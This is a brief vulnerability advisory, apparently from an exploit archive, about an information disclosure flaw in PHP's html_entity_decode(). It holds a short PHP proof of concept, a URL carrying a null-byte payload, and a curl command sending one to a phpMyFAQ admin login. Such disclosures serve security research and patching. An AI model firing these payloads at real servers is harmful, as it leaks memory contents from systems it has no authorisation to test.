PHP Html_Entity_Decode() Information Disclosure Vulnerability

An exploit is not required.

The following proofs of concept are available:

<?php

$foobar=html_entity_decode($_GET['foo']);
echo $foobar;

?>

Running it with url:

http://www.example.com/index.php?foo=%00sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
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curl "http://www.example.com/phpmyfaq/admin/index.php" -D - -d "faqusername=%00VERYLONGSTRINGHEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"


 

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